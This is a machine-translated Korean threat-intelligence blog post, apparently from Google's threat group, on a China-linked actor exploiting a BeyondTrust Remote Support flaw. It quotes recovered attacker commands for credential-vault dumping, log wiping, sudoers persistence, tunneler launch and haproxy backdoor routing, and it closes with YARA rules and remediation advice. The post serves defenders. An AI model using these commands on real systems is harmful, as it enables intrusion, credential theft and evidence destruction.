콘텐츠로 이동하기
위협 인텔리전스

ARMORY CASTLE, BeyondTrust 취약점 익스플로잇

2026년 10월 27일
Google Threat Intelligence Group

Mandiant

Mandiant Services

Stop attacks, reduce risk, and advance your security.

Contact Mandiant

*이 콘텐츠는 AI 번역 도구를 사용하여 번역되었습니다. 정확성을 기하기 위해 노력하고 있으나, 자동 번역에는 오류나 누락이 포함될 수 있습니다. 정확한 정보는 영문 원본을 참고해 주시기 바랍니다.


작성자: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram


소개 

10월 15일에 BeyondTrust는 BeyondTrust Remote Support(이전 명칭: Bomgar) 어플라이언스에 영향을 미치는 취약점인 CVE-2026-102764를 공개했습니다. BeyondTrust Remote Support는 IT팀이 원격 엔드포인트에 안전하게 액세스하고 문제 해결을 진행하도록 지원하는 엔터프라이즈 보안 원격 액세스 솔루션입니다. 이 취약점의 성공적인 익스플로잇은 임의 파일 업로드로 이어집니다. 

Mandiant는 사고 대응 활동 중에 중국 연계 첩보 활동 공격자로 의심되는 ARMORY CASTLE(이전에는 UNC5221로 추적됨)이 2026년 8월 말에 이 취약점을 제로데이 취약점으로 익스플로잇했다는 증거를 확인했습니다. 이 블로그에서는 ARMORY CASTLE이 CVE-2026-102764를 익스플로잇한 후 권한을 에스컬레이션시키고 보안 침해된 BeyondTrust Remote Support 어플라이언스에 대한 지속적인 액세스를 설정한 방법을 설명하고 방어자를 위한 실행 가능한 지침을 제공합니다.

ARMORY CASTLE과 그 밖의 공격자들은 취약점 공개 후 항상 광범위하고 기회주의적인 공격을 수행해 왔기 때문에 조직에서는 이 공개 이후의 광범위한 공격 가능성에 대비해야 합니다. 

익스플로잇

Mandiant는 /home 디렉터리를 포함하는 LUKS 암호화 파티션을 통해서만 액세스할 수 있는 access, syslog, messages, thin-scc, brain, SSL 로그 파일 내에서 CVE-2026-102764 익스플로잇의 증거를 확인했습니다. 영향을 받는 조직들은 BeyondTrust에서 제공하는 보안 패치를 즉시 적용하여 취약점을 해결하고 BeyondTrust 블로그에서 추가 지침을 검토할 것을 강력히 권장합니다.

익스플로잇 이후

Mandiant는 CVE-2026-102764의 성공적인 익스플로잇 후에 ARMORY CASTLE이 복수의 고유한 TTP를 사용하여 발판을 마련하고, 권한을 에스컬레이션하고, 측면 이동을 가능하게 하는 것을 관찰했습니다. 침입 과정 전반에서 ARMORY CASTLE은 독점 CLI 유틸리티, 시작 구성 템플릿, 로컬 리버스 프록시 라우팅을 악용하는 등 BeyondTrust 어플라이언스 내부에 대한 깊은 이해도를 활용했습니다. ARMORY CASTLE은 새로 식별된 커스텀 멀웨어인 SAWFLY 웹셸과 BARECLAW 터널러를 사용하여 BeyondTrust 기기와 상호작용했습니다. 또한 액세스를 유지하고 탐지를 피하기 위해 어플라이언스 로그와 엔드포인트 아티팩트를 정기적으로 삭제했습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_ARMORY_CASTLE_BeyondTrust_comprom.max-1400x1400.jpg

그림 1: ARMORY CASTLE BeyondTrust 보안 침해 이벤트 시퀀스

웹셸 스테이징

CVE-2026-102764의 성공적인 익스플로잇 이후 ARMORY CASTLE은 /app_84304470%2Ephp로의 POST 요청을 시작했습니다. Mandiant는 이 POST 요청과 관련 있는 파일을 복구하지 못했습니다. 최초 POST 요청으로부터 약 11분 후, 파일 시스템은 웹 루트 경로 /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/에 SAWFLY 웹셸이 생성되었음을 기록했습니다. ARMORY CASTLE은 침입 과정에서 SAWFLY 웹셸을 이 환경 내에서의 주요 발판으로 활용했습니다. 

SAWFLY 웹셸

SAWFLY(mangoapi.php)는 난독화된 경량 PHP 웹셸로, 커스텀 Base32 전송 계층과 256비트 RC4 스트림 암호를 사용하여 양방향 암호화된 C2 통신을 구현합니다. 이 웹셸은 수신되는 HTTP POST 요청에 난독화된 매개변수 _c94mfe가 있는지 검사합니다. 

이 매개변수가 없으면 스크립트는 즉시 HTTP 상태 404 Not Found(http_response_code(404))를 설정하고, 자동 웹 크롤러와 취약점 스캐너를 피하기 위해 종료합니다. _c94mfe 매개변수가 있으면 웹셸은 페이로드를 Base32로 디코딩하고, 하드코딩된 32바이트 키로 RC4를 사용하여 복호화하고, @eval()을 통해 결과 PHP 코드를 실행합니다. 평가된 코드에서 null이 아닌 반환 값은 동일한 키로 RC4 암호화되고 Base32로 인코딩되어 클라이언트로 에코됩니다. 

SUID 비트 권한을 통한 권한 에스컬레이션

SAWFLY 웹셸은 권한이 없는 로컬 사용자인 사이트의 서비스 계정으로 실행되었습니다. 공격자는 권한을 에스컬레이션하기 위해 시스템 셸 실행 파일(/bin/sh)을 /usr/bin/dbus-authd 파일에 복사했습니다.

그런 다음 파일의 소유권을 루트로 수정하고 SUID(사용자 ID 설정) 권한을 사용 설정했습니다. 바이너리에 SUID 권한이 사용 설정되어 있으면 해당 명령어를 실행하는 사용자가 아닌 파일 소유자(루트)의 권한으로 실행되기 때문에, 실질적으로 공격자에게 호스트 시스템에 대한 지속적인 루트 수준 백도어가 부여되는 것입니다.

공격자는 웹 셸을 통해 발판을 마련한 후 웹 서비스 계정에서 어플라이언스 호스트의 루트 수준 제어로 에스컬레이션했습니다. 이를 통해 공격자는 어플라이언스가 저장했거나 중개한 모든 사용자 인증 정보에 액세스하고 재부팅 및 구성 재설정 후에도 유지되는 파일을 수정할 수 있었습니다.

사용자 인증 정보 수집: BeyondTrust 저장소 추출

Mandiant는 공격자가 어플라이언스의 네이티브 보안 비밀 관리 데이터베이스에서 직접 사용자 인증 정보를 수집하려고 시도하는 것을 관찰했습니다. 이를 위해 공격자는 독점적인 BeyondTrust 어플라이언스 네이티브 관리 명령줄 인터페이스(CLI) 유틸리티인 /ns/sbin/bt-secrets 바이너리를 사용하여 비밀번호, API 키, 엔드포인트 사용자 인증 정보를 관리, 저장, 검색했습니다.

공격자는 어플라이언스의 사용자 인증 정보 저장소를 찾아서 덤프하기 위해 여러 CLI 구문 변형을 체계적으로 반복했습니다.

/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault

그림 2: 메시지 로그에서 복구된 명령어

먼저 공격자는 특정 사이트 서비스 계정의 저장소를 표적으로 삼아 해당 프로필에만 할당된 비밀번호와 키를 가져오려고 시도했습니다.

그런 다음 저장된 모든 관리자 인증 정보를 덤프하기 위해 글로벌 어플라이언스 수준의 비밀번호 저장소를 대상으로 하는 대체 명령어를 실행했습니다.

그러고 나서 /home/bomgar/log/bt-secrets.log에 저장된 레코드와 보관처리된 파일을 강제로 삭제하여 bt-secrets 바이너리와의 상호작용을 종료했습니다.

/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'

그림 3: 메시지 로그에서 복구된 명령어

지속성

Mandiant는 공격자가 장기적이고 지속적인 액세스를 위해 BeyondTrust 구성 템플릿을 표적으로 삼아 사이트 서비스 계정에 비밀번호 없는 루트 권한을 부여하는 것을 관찰했습니다.

먼저 공격자는 시스템 시작 시점에 자동으로 실행되는 스크립트를 위해 예약된 /home/bomgar/sbin/post_boot.d 디렉터리를 만들었습니다. 이 디렉터리 내에 zz-root-persist라는 셸 스크립트를 만들었습니다.

zz-root-persist 스크립트의 콘텐츠를 보면 이 스크립트는 먼저 /ns/config/sudoers.template 파일 내에서 사용자 계정에 비밀번호 없는 루트 권한이 이미 부여되었는지 확인하는 것을 알 수 있습니다. 이 항목이 없는 경우 스크립트는 템플릿에 '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL'을 추가합니다. sudoers 템플릿에 추가된 이 항목은 사이트 사용자 계정에 호스트 시스템에서 어떠한 명령어도 실행할 수 있는 비밀번호 없는 관리 권한을 부여합니다.

마지막으로, 스크립트는  '/ns/sbin/bt-sysconfig' --no-restart misc를 실행하여 어플라이언스 백엔드가 즉시 /ns/config/sudoers.template을 파싱하고 활성 /etc/sudoers 파일을 다시 빌드하도록 강제합니다. 일반적으로 시스템 재부팅 및 구성 재설정은 /etc/sudoers에 직접 적용된 수동 변경사항을 덮어쓰나, 이 전략은 공격자의 권한 에스컬레이션이 시스템 재부팅 및 구성 재설정 후에도 유지되도록 합니다.

#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc

 그림 4: zz-root-persist의 콘텐츠

안티 포렌식

Mandiant는 공격자가 어플라이언스에 무단으로 액세스하는 과정 전반에서 시스템, 웹 서버, 애플리케이션 수준 로그를 체계적으로 삭제하여 방어 시스템을 손상시키고 탐지를 방해하려고 시도하는 것을 여러 차례 관찰했습니다.

SAWFLY 웹셸에서 시작한 공격자는 에스컬레이션된 sudo 권한으로 다음 명령어를 실행하여 호스트 디렉터리와 사이트 디렉터리 양쪽에서 활성 로그를 삭제했습니다.

 

'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'

그림 5: 복구된 명령어

 

측면 이동: BeyondTrust 관리자 세션 악용

BeyondTrust 기기를 보안 침해한 후 공격자는 BeyondTrust Remote Support 애플리케이션으로 이동하여 보안 침해된 관리자 사용자 인증 정보를 통해 정찰을 수행했습니다. 먼저 공격자는 관리자 계정을 사용하여 웹 관리 포털에 로그인했습니다.

{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}

그림 6: BeyondTrust Syslog 항목

공격자는 초기 액세스를 테스트하고 네이티브 관리자 그룹 정책에 일시적으로 가입할 수 있는지 확인한 후 장기 지속성을 위해 전략을 바꿨습니다. 보안 침해된 계정의 권한을 직접 수정하여 Jump Item과 팀 권한을 액세스 권한 없음에서 관리자로 업그레이드했습니다. Jump Item은 Jump Group 내에서 원격 액세스가 가능한 개별 시스템 또는 기기로, 관리자가 원격 시스템에 대한 액세스를 구성하고 제어할 수 있도록 합니다. 이 구성 변경으로 인해 공격자는 어플라이언스의 Jump Item목록에 채워진 다운스트림 시스템에 대한 원격 세션을 시작할 수 있는 영구적이고 제한 없는 권한을 부여받았습니다.

 

{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}

그림 7: BeyondTrust Syslog 항목

내부 정찰

Mandiant는 공격자가 승격된 관리자 권한을 획득한 후 내부 엔드포인트를 표적으로 삼기 위해 원격 지원 세션을 설정하는 것을 관찰했습니다.

연결된 후 공격자는 어플라이언스의 기본 제공 지원 도구를 사용하여 전체 파일 시스템 액세스 권한을 요청하고 획득했습니다. 공격자는 네이티브 BeyondTrust Remote Support 파일 전송 서비스를 사용하여 네트워크 정찰에 유용한 민감한 내부 문서(예: 소프트웨어 인벤토리)를 사용자의 데스크톱 환경으로부터 직접 다운로드하고 유출했습니다. 

BARECLAW 터널러

Mandiant는 공격자가 커스텀 SOCKS5 프록시 터널러를 통해 BeyondTrust 기기를 통과하도록 트래픽을 터널링하는 것을 관찰했습니다. BARECLAW는 WebSocket 전송을 통해 전달되는 SOCKS5 프록시 서비스를 제공하고 원격 클라이언트와 대상 간의 TCP 연결을 릴레이하는, C로 작성된 터널러입니다. BARECLAW는 CivetWeb WebServer를 정적으로 삽입하여 HTTP 및 WebSocket 기능을 제공하고 TLS용으로는 OpenSSL을 사용합니다. BARECLAW는 구성 가능하며, 인증을 요구하고, 클라이언트와 터널러 간의 데이터를 암호화하고, 연결 가능한 대상을 특정 CIDR 범위로 제한하고, 트래픽을 업스트림 프록시에 연결하고, 기본 WebSocket 엔드포인트 및 수신 대기 포트를 수정하는 옵션을 제공합니다. TLS는 PEM 인증서를 제공하여 사용 설정할 수 있으며, 인증, 암호화, 대상 필터링, TLS는 기본적으로 사용 중지되어 있습니다. 

BARECLAW는 CLI 입력을 통해 구성을 수신하며, CLI 옵션 메뉴를 제공합니다.

Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help

그림 8: BARECLAW CLI 옵션 메뉴

공격자는 다음 명령줄 인수를 통해 BARECLAW를 실행했습니다.

/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge

그림 9: BARECLAW 전체 명령줄 인수

이 명령줄은 BARECLAW가 TCP 포트 19800에서 수신 대기하고 피해자 시스템에서 WebSocket 엔드포인트 /uidchanarge를 만들도록 구성합니다. 클라이언트는 명령줄 인수에 지정된 토큰을 사용하여 인증해야 하며, -q 인수는 터널러의 로깅을 억제합니다. 터널링된 데이터는 이 토큰에서 파생된 XOR 기반 루틴과 세션 시작 시점에 클라이언트가 제공한 8바이트 값으로 암호화됩니다. CLI 옵션에 --ssl-cert 및 --listen-tls 인수가 없다는 것은 TLS가 이 특정 인스턴스에서 사용 설정되어 있지 않았음을 의미합니다.

Haproxy.conf에 대한 수정

Mandiant는 공격자가 BARECLAW 터널러를 생성하는 것에 더해 인터넷에서 직접 BARECLAW에 액세스할 수 있도록 /ns/config/haproxy.conf 파일을 수정하는 것을 관찰했습니다. BeyondTrust 기기에서 실행되는 HAProxy 서비스는 BeyondTrust 서버를 대신하여 수신 요청을 수락하고 요청의 포트 또는 URL 경로에 따라 로컬 시스템에서 실행되는 적절한 백엔드 서비스(예: 웹 인터페이스, 관리 포털 또는 애플리케이션 게이트웨이)로 요청을 전달하는 기기의 리버스 프록시로 기능합니다. 

haproxy.conf 파일은 BeyondTrust 어플라이언스가 수신 트래픽을 처리, 라우팅, 보호하는 방식을 관장하는 기본 구성 스크립트입니다. 공격자의 수정은 특정 URI 경로 /uidchanarge에 대한 수신 트래픽을 모니터링하기 위해 먼저 wswsws라는 액세스 제어 목록(ACL)을 설정했습니다. 이 경로와 일치하는 요청이 감지되면 HAProxy는 일반적인 어플라이언스 웹 서비스를 우회하고 트래픽을 webskd3로 지정된 커스텀 백엔드로 라우팅합니다.

    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws

그림 10: haproxy.conf에 대한 ACL 수정

다음으로, webskd3 백엔드는 수신 웹 스트림을 로컬(127.0.0.1/localhost)에서 BARECLAW 유틸리티가 수신 대기 중인 TCP 포트 19800으로 라우팅합니다. 이 로컬 전용 바인딩은 백도어 리스너가 HAProxy의 로컬 리디렉션을 통해 내부적으로만 연결될 수 있으므로 외부 네트워크 검사로부터 완전히 숨겨지도록 합니다.

backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h

그림 11: haproxy.conf에 대한 백엔드 경로 수정

공격 주체

GTIG는 CVE-2026-102764의 제로데이 취약점 익스플로잇과 그에 따른 SAWFLY 및 BARECLAW의 배포가 중국 연계 첩보 활동 공격자로 의심되는 ARMORY CASTLE(이전 명칭: UNC5221)의 소행이라고 판단합니다. 이 침입에 사용된 도구와 TTP는 이전에 관찰된 ARMORY CASTLE의 활동과 일치합니다.

GTIG는 이전에 ARMORY CASTLE이 에지 어플라이언스의 여러 취약점을 익스플로잇하고 자신들의 목표를 뒷받침하기 수동 백도어와 웹셸부터 에지 기기의 트로이 목마화된 구성요소에 이르기까지 광범위한 커스텀 도구 모음을 배포했다고 보고한 바 있습니다. ARMORY CASTLE은 2023년 10월부터 활동해 왔으며, 공격에서 다양한 국가와 업종을 표적으로 삼았습니다. 

전망 및 시사점

과거 침입 공격에서 ARMORY CASTLE은 자신들이 제로데이로서 선별적으로 익스플로잇한 취약점이 공개된 후 광범위하고 기회주의적인 익스플로잇을 수행하여 패치가 배포되기에 앞서 표적 조직에 침투하기를 서둘렀습니다. CVE-2026-102764와 관련해서도 이와 비슷한 광범위한 익스플로잇 시도가 관찰될 가능성이 있습니다. 

GTIG는 ARMORY CASTLE이 자신들의 첩보 활동 목표를 뒷받침하기 위해 계속해서 에지 기기의 제로데이 취약점을 활용하여 환경에 대한 액세스 권한을 획득할 것이라고 높은 신뢰도로 판단합니다. 방어자들은 CVE-2026-102764 공개 이후 ARMORY CASTLE이 CVE-2023-46805 및 CVE-2024-21887 공개 이후 2024년에 GTIG가 관찰한 것과 비슷한 광범위한 익스플로잇을 수행할 가능성에 대비해야 합니다. 

해결 및 보안 강화

아직 BT26-05 패치를 적용하지 않은 조직은 즉시 자사의 노출과 위험을 평가하고 BeyondTrust 블로그에서 추가 지침을 검토해야 합니다. CVE-2026-102764는 26.2.3까지 모든 지원되는 Remote Support 버전에 영향을 미치며, 인증되지 않은 원격 공격자가 어플라이언스에서 파일 작업을 수행하도록 허용합니다. 이는 호스트 수준 제어와 어플라이언스가 저장했거나 중개한 모든 사용자 인증 정보에 대한 액세스로 이어질 수 있습니다. 익스플로잇 기간 내에 취약한 버전이 실행되었어서 인터넷에서 연결할 수 있었던 모든 어플라이언스는 검토가 완료될 때까지 잠재적으로 보안 침해된 것으로 간주해야 합니다. Mandiant는 운영을 뒷받침하기 위해 격리와 중단 사이의 균형을 맞추는 단계적 패치 우선 접근 방식을 권장합니다.

즉각적인 완화 조치

조직에서는 자사의 위험 허용 범위, 보안 침해 증거, 운영 요구사항에 따라 다음 옵션 중에서 선택해야 합니다.

옵션 1: BT26-05 패치 적용(Mandiant 권장)

  • Remote Support SaaS: BeyondTrust는 2026년 10월 9일에 모든 SaaS 테넌트에 패치를 적용했습니다. 어플라이언스 자체에 대해 고객에게 요구되는 조치는 없습니다. 옵션 3의 사용자 인증 정보 및 구성 단계는 그대로 적용됩니다.

  • 자체 호스팅, 버전 24.3.1 이상: /appliance 인터페이스에서 BT26-05-RS 패치를 적용하거나, 어플라이언스가 자동 업데이트에 구독되어 있다면 자동으로 적용되었는지 확인합니다.

  • 자체 호스팅, 24.3.1 이전: 지원되는 버전으로 업그레이드한 후 패치를 적용합니다. 업그레이드하면 취약점이 해결되지만 이전 노출은 해결되지 않습니다.

  • /appliance에서 패치가 보이지 않으면 BT26-05를 기재하여 BeyondTrust 지원팀에 케이스를 접수하세요.

옵션 2: 보안 침해되었거나 의심되는 어플라이언스 격리

  • 조치 전 보존: 변경 또는 재부팅에 앞서 메모리가 있는 가상 어플라이언스의 스냅샷을 생성하고 디스크를 내보냅니다. B 시리즈 하드웨어 및 SaaS 테넌트의 경우 BeyondTrust 지원을 통해 포렌식 보존을 요청합니다. 호스트 액세스 권한이 있는 공격자는 어플라이언스상에서 로그를 삭제할 수 있으니, 노출 기간 전체에 대해 syslog, 리버스 프록시 또는 WAF, 경계 방화벽 로그를 수집합니다. Mandiant는 공격자가 침해 사고 전반에 걸쳐 로그를 삭제했다는 사실을 확인했습니다.

  • 경계에서 격리: /appliance가 아닌 방화벽에서 어플라이언스의 공개 주소로 유입되는 인바운드 트래픽을 차단하여 검토를 위해 구성을 그대로 유지합니다.

  • 이그레스 제한: BeyondTrust 업데이트 및 라이선스 엔드포인트를 제외한 아웃바운드 트래픽을 거부하고 거부된 모든 연결을 로깅합니다.

  • 액세스 경로 종료: 활성 지원 세션을 종료하고 /login에서 새 세션, Jump Client, Jumpoint, API 계정을 사용 중지합니다. 감사 추적이 보존되도록 삭제하는 대신 사용 중지합니다.

  • 정리 대신 재빌드: 보안 침해가 확인되었거나 알 수 없는 어플라이언스를 완전히 패치된 클린 이미지에서 재배포합니다. 고객은 어플라이언스 호스트 파일 시스템을 감사할 수 없으며, 호스트 수준 지속성은 재부팅 및 구성 재설정 후에도 유지됩니다. 노출 기간 전의 구성 백업만 복원하거나, 최신 백업을 격리된 상태에서 복원하고 옵션 3 파트 B의 검토를 완료한 후 다시 연결합니다. 새 TLS 인증서를 발급하고, 재빌드된 어플라이언스에서 Jump Client, Jumpoint, 담당자용 콘솔을 재배포합니다.

참고: 격리 및 세션 종료는 지원 작업을 중단합니다. 조직에서는 진행하기에 앞서 헬프 데스크 및 공급업체 지원 이해관계자와 협력해야 합니다.

옵션 3: 표적화된 보상 제어 적용

다음 제어는 노출을 줄이고 익스플로잇 후 영향을 제한합니다. 패치를 대체하지는 않습니다.

파트 A: 네트워크 제한

  • 어플라이언스 수준에서 IP 또는 네트워크 세그먼트별로 /login 및 /appliance 관리 인터페이스에 대한 액세스를 제한합니다. 인터넷에서 연결 가능한 것은 오직 담당자용 콘솔, 고객 포털, Jump Client 트래픽뿐이어야 합니다.

  • 운영상 가능한 경우, 어플라이언스 앞에 전체 URI 로깅이 포함된 리버스 프록시 또는 WAF를 배치하여 어플라이언스가 변경할 수 없는 요청 경로의 레코드를 유지합니다.

파트 B: 사용자 인증 정보 순환 및 구성 검토

  • 세션 및 등록 취소: 모든 활성 지원 세션을 종료한 다음, 패치되었거나 재빌드된 어플라이언스에서 Jump Client, Jumpoint, 담당자용 콘솔을 재배포하여 기존 토큰을 무효화합니다.

  • 종속 항목 순서대로 사용자 인증 정보 순환: /appliance 관리 사용자 인증 정보, /login 관리자 및 로컬 사용자, API 클라이언트 보안 비밀, 보안 제공업체 바인딩 계정 및 SAML 서명 키, Remote Support Vault 및 통합 Password Safe 또는 대상 시스템에서 순환되는 Privileged Remote Access(PRA) 사용자 인증 정보, 통합 사용자 인증 정보(SMTP, syslog, Information Technology Service Managemen(ITSM) 커넥터, 아웃바운드 이벤트 보안 비밀), 해당 기간 동안 지원 세션에 입력된 모든 사용자 인증 정보.

  • 해당 기간 전 기준치와 비교하여 /login 구성 검토: 사용자 및 역할 변경, 특히 관리자로 승격된 Jump Item 역할, 그룹 및 세션 정책, API 계정, 보안 제공업체, Jump Item 및 Jumpoint, 아웃바운드 이벤트 또는 syslog 대상. 변경 기록이나 명명된 소유자가 없는 항목은 모두 삭제합니다.

  • 파일 전송을 포함하는 해당 기간의 지원 세션 보고서를 검토하여 어떤 엔드포인트가 액세스되었고 이들 엔드포인트에서 무엇이 유출되었는지 확인합니다. 접촉된 모든 엔드포인트는 다운스트림 헌팅 범위에 포함됩니다.

참고: 어플라이언스가 패치되었거나 재빌드된 후에만 사용자 인증 정보를 순환하세요. 그보다 이르게 순환하면 어플라이언스를 여전히 제어하는 공격자에게 새 사용자 인증 정보가 노출됩니다.

파트 C: 컨트롤 플레인 제한

  • 모든 /login 사용자에 대해 피싱 방지 MFA를 사용하는 SAML 싱글 사인온(SSO)을 요구하고, 사용 시 알림이 전송되는 하나의 보관용 비상 계정을 제외한 로컬 계정을 삭제합니다.

  • 공식 BeyondTrust 2단계 인증 가이드라인에 따라 기본 제공 관리자 계정에 다중 인증(MFA)이 구성되어 있는지 확인합니다.

  • 모든 그룹 정책에서 기본 Jump Item 역할을 액세스 권한 없음으로 설정하고, 사용자당이 아닌 정책을 통해 역할을 부여합니다.

  • API 계정의 범위를 최소 권한 세트로 지정하고, 사용자 또는 Jump Item 관리 권한을 보유한 모든 계정에 대해 명명된 자동화 소유자를 지정하고, 일정에 따라 API 보안 비밀을 순환합니다.

  • 권한이 있는 사용자 인증 정보는 Remote Support Vault가 아닌 Password Safe 또는 사용자 인증 정보 인젝션 기능이 있는 외부 저장소에 보관하고, 어플라이언스에는 비대화형 서비스 계정 사용자 인증 정보만 저장합니다.

  • 어플라이언스에서 기본 거부 아웃바운드 필터링을 적용하여 BeyondTrust 엔드포인트와 조직 자체의 syslog 및 디렉터리 서버만 허용합니다.

파트 D: 로깅 및 탐지 엔지니어링

로깅 및 가시성

  • 어플라이언스 syslog를 TLS를 통해 SIEM으로 전달하고, 수개월의 노출 기간을 포함하는 보관 기간을 설정하고, 어플라이언스 주소에 대한 리버스 프록시 또는 WAF 및 경계 방화벽 로그를 수집합니다.

  • /login 세션, 팀 활동, 사용자 감사 보고서를 일정에 따라 내보냅니다.

탐지 엔지니어링

  • 계정 및 정책 변경: Jump Item 또는 팀 역할을 승격하는 user_changed 이벤트, 변경 티켓이 없는 user_added, api_account, security_provider 이벤트, 아웃바운드 이벤트 또는 syslog 대상에 대한 모든 변경.

  • 인증: 주거용 광대역 또는 상업용 VPN 주소 공간에서의 /login 성공, 업무 시간 이외의 관리자 로그인.

  • 세션 활동: 파일 전송 이벤트, 해당 기간 동안 역할이 변경된 계정에서 시작된 세션.

  • 요청 경로: 리버스 프록시 또는 WAF에서, 알 수 없는 .php 경로 및 외부 지원 담당자와 엔드포인트 주소 범위의 WebSocket 업그레이드를 비롯한 알려진 Remote Support 경로 세트 외부의 경로.

  • 안티 포렌식: 어플라이언스에서의 syslog 전달 공백, 단일 세션으로 제한된 중단은 로그 변조의 강력한 지표입니다.

침해 지표(IOC)

더 많은 커뮤니티가 이 블로그 게시물에 설명된 활동을 추적하고 식별하는 데 도움을 받을 수 있도록, 등록된 사용자를 위한 GTI 컬렉션에 침해 지표(IOC)를 포함했습니다.

파일 지표

파일 이름

설명

SHA-256

app_84304470%2Ephp

웹셸 스테이징

해당 사항 없음

mangoapi.php

SAWFLY 웹셸

dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb

ingredi_ws

BARECLAW 터널러

1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462

 

 

탐지

YARA 규칙

rule G_Hunting_Webshell_SAWFLY_1 {
  meta:
author = "Google Threat Intelligence Group"    
  strings:
    $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
    $rc4 = "range(0,255)" ascii wide
    $pack = "pack('H*'," ascii wide
    $eval = "@eval(" ascii wide
    $code404 = "http_response_code(404)" ascii wide
  condition:
    filesize < 20KB and
    all of them
}
rule G_Hunting_Backdoor_BARECLAW_1 {
  meta:
    author = "Google Threat Intelligence Group"

  strings:
    $s1 = "[%s ws_socks5d] " ascii wide
    $s2 = "--obfs requires --token" ascii wide
    $s3 = "mux: %s (frame[%lu]: %s)" ascii wide
    $s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
    $s5 = "reject: bad or missing token from %s" ascii wide
    $s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
    $s7 = "--ws-path must start with '/'" ascii wide
    $b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
  condition:
    uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}

Google Security Operations(SecOps)

Google SecOps 고객은 Mandiant Hunting, Mandiant Frontline Threats, Mandiant Intel Emerging Threats 규칙 팩을 통해 아래의 광범위한 카테고리 규칙 등에 액세스할 수 있습니다. 블로그 게시물에서 설명한 활동은 Google SecOps에서 다음 규칙 이름으로 감지됩니다.

  • Echo Pipes Base64 To Shell

  • Base64로 인코딩된 셸 명령어 실행

  • 호스트의 심각도가 낮은 엔드포인트 탐지 클러스터

  • tmp에 대한 의심스러운 Curl 다운로드

  • 스테이징 디렉터리에 대한 의심스러운 Curl 네트워크 연결

감사의 말씀

이 위협에 대응할 수 있도록 협조해 주신 BeyondTrust에 감사의 말씀을 전합니다.

게시 위치